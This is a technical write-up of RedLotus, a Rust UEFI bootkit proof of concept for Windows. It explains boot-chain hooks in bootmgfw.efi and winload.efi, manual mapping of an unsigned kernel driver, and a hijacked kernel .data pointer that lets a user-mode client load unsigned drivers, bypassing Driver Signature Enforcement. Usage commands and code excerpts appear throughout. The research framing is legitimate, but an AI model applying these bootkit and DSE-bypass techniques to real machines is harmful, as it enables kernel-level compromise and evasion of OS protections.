Updated in 2025

Introduction#

RedLotus is a Windows UEFI bootkit written in Rust that executes before ntoskrnl.exe and bypasses Driver Signature Enforcement (DSE) using a simple .data pointer hook. It sets up a kernel-mode manual mapper (redlotus.sys), controlled post-boot via a Rust-based user-mode client. The bootkit itself is implemented as a UEFI_RUNTIME_DRIVER, inspired by the work of umap by @btbd, and demonstrates how Rust can be used to build low-level UEFI components and early boot-time hooks.

The runtime communication mechanism leverages the .data pointer for xKdEnumerateDebuggingDevices, allowing the loader to communicate with the kernel from user space using NtConvertBetweenAuxiliaryCounterAndPerformanceCounter - a technique originally documented by the legendary @can1357. While effective for this PoC, it’s worth noting that this approach is easily flagged by modern anti-cheat systems.

These techniques have long been used - and still are - in the game hacking community, not just to manually map unsigned kernel drivers, but in some cases to hijack Hyper-V and abuse virtualization features for hiding cheats. While the tactics aren’t new, this write-up aims to document how they’re evolving and being applied to modern tooling, especially in research contexts. RedLotus makes no attempt at stealth or persistence and should be viewed strictly as a learning-oriented project.

This project is inspired by the following:

This is a PoC for educational and research purposes.

Description#

A bootkit executes before the operating system and can inject drivers, patch memory, or tamper with early boot functions to bypass OS security like Secure Boot or DSE. RedLotus shows how to use a Rust-based UEFI runtime driver to:

  • Hook bootmgfw.efi and winload.efi
  • Load and install a kernel-mode manual mapper (redlotus.sys)
  • Communicate with the mapper from user-mode (client.exe) to manually map unsigned drivers

This image from WeLiveSecurity compares legacy BIOS and UEFI boot flows:

Legacy-and-UEFI-Boot Figure 1. Comparison of the Legacy Boot flow (left) and UEFI boot flow (right) on Windows (Vista and newer) systems (Full Credits: WeLiveSecurity)

Execution Flow#

The following diagram shows the full internal flow of RedLotus from UEFI shell to Windows kernel execution, including all hooks and transitions:

redlotus.drawio.png Figure 2. RedLotus bootkit and manual driver mapper flow

Usage Scenarios#

A UEFI Bootkit works under the following conditions:

  • Secure Boot is disabled (no vulnerability required) - supported
  • Exploit a known UEFI firmware vulnerability (BYOVB) to disable Secure Boot on an updated system
  • Use a 0-day in UEFI firmware to disable Secure Boot

Usage 1: Infecting bootmgfw.efi (Unsupported)#

Although many bootkits patch bootmgfw.efi, this PoC does not support it. The steps would involve:

  • Appending a new .efi section to bootmgfw.efi
  • Changing its entry point to your shellcode
  • Booting into the modified Windows Boot Manager

This method is intentionally left unsupported.

Usage 2: Loading from UEFI Shell (Supported)#

  1. Download EDK2 UEFI Shell or UEFI-Shell
  2. Format a USB drive as FAT32 and prepare this folder layout:
USB:.
 │   redlotus.efi
 │
 └───EFI
      └───Boot
              bootx64.efi
  1. Boot into the UEFI shell and run:
FS0:
cp fs2:redlotus.efi .
load redlotus.efi

Windows will continue booting automatically after the bootkit installs itself.

poc_uefi.png Figure 3. Loading redlotus.efi from the UEFI shell

Manual Driver Mapping (DSE Bypass)#

Once booted, use client.exe to map an unsigned driver manually:

client.exe --path .\testing123.sys

The mapper uses .data ptr-based comms via ntoskrnl.exe. For example, the xKdEnumerateDebuggingDevices or NtConvertBetweenAuxiliaryCounterAndPerformanceCounter callbacks can be hijacked.

poc_win11_driver_mapper.png Figure 4. Manually mapping testing123.sys using redlotus.sys

Boot-Time Hooking and Mapper Internals#

During boot, RedLotus:

  • Hooks ImgArchStartBootApplication and OslFwpKernelSetupPhase1
  • Allocates memory and installs redlotus.sys
  • Resolves imports, rebases, and finalizes manual mapping
  • Restores control to winload.efi and then ntoskrnl.exe

poc_win11.png Figure 5. redlotus.sys mapped and executing inside the Windows kernel

Tested On#

  • Microsoft Windows 10 Home 10.0.19045 N/A Build 19045
  • Microsoft Windows 11 Home 10.0.22621 N/A Build 22621

Influence of BlackLotus#

BlackLotus used a known Secure Boot vulnerability (CVE-2022-21894) to drop a persistent bootkit on fully patched systems. It disables BitLocker, HVCI, and Windows Defender protections before the OS loads.

RedLotus doesn’t exploit Secure Boot directly but supports BYOVB methods. If Secure Boot is off, you don’t need any exploit.

Key Takeaways#

  1. RedLotus executes before ntoskrnl.exe, giving full control over early Windows boot
  2. DSE is bypassed cleanly, without patching the kernel or modifying the OS loader
  3. Rust works well for UEFI and low-level driver code, providing memory safety without sacrificing performance
  4. Basic .data ptr comms are easy to detect, but they’re good enough for PoC/demo. Swap for more stealth if needed

RedLotus Boot Flow (Explained by Diagram)#

RedLotus Boot Flow Diagram Figure 6: High-level execution flow of redlotus.efi and redlotus.sys

Step 1 - Setup: Entry Point from redlotus.efi#

The UEFI runtime driver (redlotus.efi) is loaded via efi_main, allocates memory for redlotus.sys, and sets up hooks in bootmgfw.efi.

Code reference: bootkit/src/main.rs

DRIVER_PHYSICAL_MEMORY = boot_services
    .allocate_pages(...); // allocate memory for redlotus.sys

copy_nonoverlapping(driver_bytes.as_mut_ptr(), DRIVER_PHYSICAL_MEMORY as *mut u8, ...);

// Set hook chain from bootmgfw.efi -> winload.efi -> ntoskrnl.exe
boot::hooks::setup_hooks(&bootmgfw_handle, boot_services)?;

Step 2 - Hook ImgArchStartBootApplication (bootmgfw.efi)#

Hooks the EFI boot manager entry point to intercept control when winload.efi is loaded but not yet executed.

Code reference: bootkit/src/boot/hooks.rs

let offset = pattern_scan(..., ImgArchStartBootApplicationSignature)?;
ImgArchStartBootApplication = Some(...);
trampoline_hook64(..., img_arch_start_boot_application_hook, ...);

Step 3 - Hook OslFwpKernelSetupPhase1 and BlImgAllocateImageBuffer (winload.efi)#

Inside the ImgArchStartBootApplication hook, RedLotus installs two additional hooks in winload.efi: one on OslFwpKernelSetupPhase1 and another on BlImgAllocateImageBuffer.

  • OslFwpKernelSetupPhase1 is executed just before the transition to ntoskrnl.exe, giving RedLotus a final opportunity to patch in-memory kernel structures or drivers.
  • BlImgAllocateImageBuffer is the EFI memory allocator for driver images. RedLotus hijacks this to allocate RWX memory for the manual mapper.

These hooks are installed dynamically during the ImgArchStartBootApplication interception.

Code reference: bootkit/src/boot/hooks.rs

// In img_arch_start_boot_application_hook:

// Locate OslFwpKernelSetupPhase1 in winload.efi and install trampoline
let offset = pattern_scan(winload_data, OslFwpKernelSetupPhase1Signature_1)?;
OslFwpKernelSetupPhase1 = Some(transmute((image_base + offset) as *mut u8));
ORIGINAL_BYTES = trampoline_hook64(
    OslFwpKernelSetupPhase1.unwrap() as *mut u8,
    ols_fwp_kernel_setup_phase1_hook as *mut u8,
    JMP_SIZE,
)?;

// Locate BlImgAllocateImageBuffer and install a second trampoline
let offset = pattern_scan(winload_data, BlImgAllocateImageBufferSignature_1)?;
BlImgAllocateImageBuffer = Some(transmute((image_base + offset) as *mut u8));
ORIGINAL_BYTES_COPY = trampoline_hook64(
    BlImgAllocateImageBuffer.unwrap() as *mut u8,
    bl_img_allocate_image_buffer_hook as *mut u8,
    JMP_SIZE,
)?;

Code reference: bootkit/src/boot/hooks.rs

// In bl_img_allocate_image_buffer_hook:

let status = BlImgAllocateImageBuffer.unwrap()(
    image_buffer, image_size, memory_type,
    preffered_attributes, preferred_alignment, flags,
);

// Allocate a second buffer for redlotus.sys if memory_type matches
if status == Status::SUCCESS && memory_type == BL_MEMORY_TYPE_APPLICATION {
    BlImgAllocateImageBuffer.unwrap()(
        &mut ALLOCATED_BUFFER,
        DRIVER_IMAGE_SIZE,
        memory_type,
        BL_MEMORY_ATTRIBUTE_RWX,
        preferred_alignment,
        0,
    );
}

This step ensures that all memory needed for redlotus.sys is reserved before Windows exits UEFI context, and also sets the stage for early boot-time driver mapping inside OslFwpKernelSetupPhase1.

Step 4 - Call ManualMapper (redlotus.efi)#

Once OslFwpKernelSetupPhase1 is reached, the bootkit manually maps the kernel driver.

Code reference: bootkit/src/boot/hooks.rs

manually_map(ntoskrnl_base, target_driver_entry)?;

Step 5 - Setup redlotus.sys in Memory#

Performs manual mapping of the redlotus.sys driver into memory. This includes:

  • Copying headers and PE sections
  • Applying relocations
  • Resolving kernel imports from ntoskrnl.exe
  • Hooking an internal export (driver_entry) to act as a trampoline destination

Code reference: bootkit/src/mapper/mod.rs

copy_headers(...);                  // Copy DOS and PE headers
copy_sections(...);                 // Copy .text/.data/.rdata/etc sections
rebase_image(...);                  // Apply base relocations
resolve_imports(...);               // Resolve kernel imports from ntoskrnl
hook_export_address_table(...);     // Patch export symbol (e.g., "driver_entry") as trampoline

The export patch (hook_export_address_table) writes the JMP_SIZE (14 bytes) and original 7 bytes stolen from the target driver (e.g., disk.sys) into the manually mapped .text section. That allows safe execution flow redirection back into the mapped payload.

Code reference: hook_export_address_table

let mapper_data_addy = module_base + functions[ordinal] as usize;
copy_nonoverlapping(target_base, mapper_data_addy, MAPPER_DATA_SIZE);

Step 6 – Hook disk.sys DriverEntry#

Injects a short stub into the target driver’s DriverEntry (e.g., disk.sys) and trampoline-hooks the entry to redirect into the mapped redlotus.sys.

Code reference: bootkit/src/boot/hooks.rs

copy_nonoverlapping(asm_bytes.as_ptr(), target_entry, asm_bytes.len());
trampoline_hook64(target_entry.add(7), mapped_entry, ...);

This stub jumps into redlotus.sys, allowing clean transfer into our mapped image.

Step 7 – Restore OslFwpKernelSetupPhase1#

Restores the original bytes of OslFwpKernelSetupPhase1 using trampoline_unhook, then calls the original unmodified function. After this point, bootkit execution ends and winload.efi transfers control to ntoskrnl.exe.

Code reference: bootkit/src/boot/hooks.rs

trampoline_unhook(
    OslFwpKernelSetupPhase1.unwrap() as *mut u8,
    ORIGINAL_BYTES.as_mut_ptr(),
    JMP_SIZE,
);

return unsafe { OslFwpKernelSetupPhase1.unwrap()(loader_block) };

Step 8 – Kernel Boot Continues (OslArchTransferToKernel)#

This step isn’t instrumented directly, but is part of the natural flow after OslFwpKernelSetupPhase1. The boot process transitions to OslArchTransferToKernel, which hands off control to ntoskrnl.exe. From this point onward, redlotus.sys will be executed indirectly via the DriverEntry hook.

Step 9 – Call Mapped redlotus.sys via DriverEntry Hook#

The patched DriverEntry of disk.sys is executed. The 7-byte stub injected earlier redirects execution into redlotus.sys, which begins running in kernel context.

Code reference: driver/src/lib.rs

log::info!("[+] Driver Entry called");

Step 10 – Restore Stolen Bytes#

The first task in redlotus.sys is to restore the 7 original bytes of disk.sys’s DriverEntry. This is done using restore_bytes(), which internally calls memcopywp() (a writable MDL-backed memory copy).

After restoring the bytes, redlotus.sys installs a .data ptr hook (Step 11), and then transfers control back to the original disk.sys DriverEntry.

Code reference: driver/src/restore/mod.rs

/* Restores the stolen bytes */
restore_bytes(target_module_entry);

/* Perform a simple .data function pointer hook */
setup_hooks();

log::info!("[+] Executing unhooked DriverEntry of target driver...");

// Call the original driver entry (disk.sys)
unsafe {
    DriverEntry = Some(core::mem::transmute::<*mut u8, DriverEntryType>(
        target_module_entry,
    ));
}

return unsafe { DriverEntry.unwrap()(driver_object, registry_path) };

The target_module_entry is passed from the UEFI bootkit as the third parameter to driver_entry, preserving the address of the original driver’s entry point.

Step 11 – Hook HalDispatchTable (.data ptr)#

The call to setup_hooks() locates the .data pointer for xKdEnumerateDebuggingDevices in ntoskrnl.exe and overwrites it with a pointer to HalDispatchHook.

This hijacks a legitimate kernel callback so that future calls from user-mode can be redirected into our custom dispatcher (HalDispatchHook), enabling manual driver mapping through ntdll.dll.

Code reference: driver/src/hooks/mod.rs

// Locate and patch the .data ptr for xKdEnumerateDebuggingDevices
let rip = pattern_scan(kernel_data, "48 8B 05 ? ? ? ? E8 80 29 A3 FF")?;
let offset = read_offset_from_rip(rip);
let hal_dispatch_table_address = (ntoskrnl_base + offset) as *mut u8;

// Save original pointer
HalDispatchOriginal = Some(core::mem::transmute::<_, HalDispatchType>(
    hal_dispatch_table_address,
));

// Overwrite it with HalDispatchHook
hal_dispatch_table_address
    .cast::<*mut u64>()
    .write(HalDispatchHook as *mut () as *mut u64);

The HalDispatchHook function checks ExGetPreviousMode() to confirm the call originated from user-mode and validates a magic value (0xdeadbeef) in the input struct before allocating memory, copying the buffer, and calling manually_map() to load an additional driver from memory.

Code reference: driver/src/hooks/mod.rs

pub fn HalDispatchHook(image_data: *mut IMAGE_DATA, out_status: *mut i32) -> NTSTATUS {
    // Reject calls not from user-mode or with null input
    if unsafe { ExGetPreviousMode() } as u8 != UserMode as u8 || image_data.is_null() {
        return unsafe { HalDispatchOriginal.unwrap()(image_data, out_status) };
    }

    // Check magic value to validate user-mode input
    if unsafe { (*image_data).magic } != 0xdeadbeef {
        return unsafe { HalDispatchOriginal.unwrap()(image_data, out_status) };
    }

    // Allocate non-paged kernel buffer for manual mapping
    let kernel_buf = unsafe { ExAllocatePool(NonPagedPool, (*image_data).buffer.len()) };

    // Copy driver payload from user-mode into kernel memory
    unsafe {
        core::ptr::copy_nonoverlapping(
            (*image_data).buffer.as_ptr(),
            kernel_buf as _,
            (*image_data).buffer.len(),
        )
    };

    // Perform manual driver mapping
    let Some(status) = unsafe { manually_map(kernel_buf as _) } else {
        unsafe { ExFreePool(kernel_buf as _) };
        return STATUS_SUCCESS;
    };

    // Free memory and return result
    unsafe {
        ExFreePool(kernel_buf as _);
        *out_status = status;
    }

    STATUS_SUCCESS
}

This .data ptr hook forms the core of RedLotus’s runtime communication channel between the user-mode loader (client.exe) and the kernel-mode mapper (redlotus.sys).

Step 12 – Call NtConvertBetweenAuxiliaryCounterAndPerformanceCounter#

The user-mode loader (client.exe) sends a driver buffer to the kernel by calling NtConvertBetweenAuxiliaryCounterAndPerformanceCounter - a legitimate syscall that RedLotus hijacks via .data ptr redirection. This allows for stealthy execution of HalDispatchHook inside the kernel.

Code reference: client/src/main.rs

let driver_bytes = std::fs::read(driver_path)?;
let mut image_data = IMAGE_DATA {
    magic: 0xdeadbeef,
    buffer: driver_bytes,
};

let communication = Communication::new()?;
let result = communication.send_request(&mut image_data)?;

Core logic:

  1. image_data is filled with the driver payload and a magic value 0xdeadbeef.
  2. A pointer to this struct is passed into the hijacked .data syscall.
  3. Kernel-side logic checks the magic, allocates memory, and maps the driver.

Code reference: client/src/communication/mod.rs

pub fn send_request(&self, image_data: &mut IMAGE_DATA) -> Result<i32, String> {
    let mut status = 0;

    unsafe {
        NtConvertBetweenAuxiliaryCounterAndPerformanceCounter.unwrap()(
            null_mut(),
            image_data as *mut _ as *mut _,
            &mut status as *mut _ as *mut _,
            null_mut(),
        );
    }

    Ok(status)
}

This step establishes the runtime user-mode -> kernel-mode communication channel, completing the RedLotus manual mapper loop.

Step 13 – Manual Mapping from redlotus.sys#

Inside the hook handler (e.g., HalDispatchHook), the driver receives control and performs a second-stage manual map of another unsigned driver from kernel memory.

Code reference: driver/src/hooks/mod.rs

let status = manually_map(unmapped_driver_kernel_buffer as _)?;

Compatibility Note#

Please note: depending on your Windows build and version, you may need to update the function signatures for the hooked routines in bootmgfw.efi and winload.efi, as well as the .data function pointer inside ntoskrnl.exe. These offsets and patterns are version-dependent and must be validated or adjusted for your target environment to ensure reliable functionality.

This proof-of-concept relies on pattern scanning rather than hardcoded offsets - a safer approach, but still fragile across OS builds. The signatures used here are minimal and may break with Windows updates or security patches.

⚠️ Many of the operations in RedLotus involve unsafe code - not necessarily due to poor practice, (although, code could be better), but because of the privileged nature of early boot manipulation, raw memory patching, and manual driver mapping.

There are multiple ways to implement these techniques:

  • You could hook different stages like ExitBootServices() or OslArchTransferToKernel instead of chaining three hooks as done here.
  • Runtime payload delivery doesn’t need to rely on .data pointer hijacking - there are other alternatives.

Similarly, there are multiple ways to detect this kind of activity.

RedLotus does not attempt to bypass Secure Boot, HVCI, or BitLocker - unlike malware like BlackLotus, which disables protections before the kernel even loads. Instead, this PoC focuses solely on demonstrating DSE bypass via manual mapping. While the tactics are more closely aligned with cheat loaders like umap, they overlap with BlackLotus-like malware in structure and timing.

Finally, RedLotus is intentionally not novel or stealthy. It prioritizes transparency and educational value over evasion. The goal is to demystify these techniques and provide a reference point for early boot offensive research, driver loading, and UEFI runtime development in Rust.

Conclusion#

RedLotus is an experimental project that shows how a full UEFI bootkit can be written in Rust and used to manually map unsigned drivers during boot. While it’s not designed for stealth or production use, it demonstrates how early boot environments can bypass protections like Driver Signature Enforcement. It also serves as a reference for using Rust in low-level offensive security projects. These techniques have long been used - and still are - in the game hacking community, not just to manually map unsigned kernel drivers, but even to hijack Hyper-V and leverage virtualization for stealth. While none of this is groundbreaking, RedLotus helps document how these methods continue to resurface in offensive tooling - refined, repurposed, and still relevant.

Credits / References / Thanks / Motivation#

rust-osdev#

Documentation and Tools#

Pattern Scanning, Signatures, and Reversing#

Other Bootkit / UEFI Research#

Special Thanks#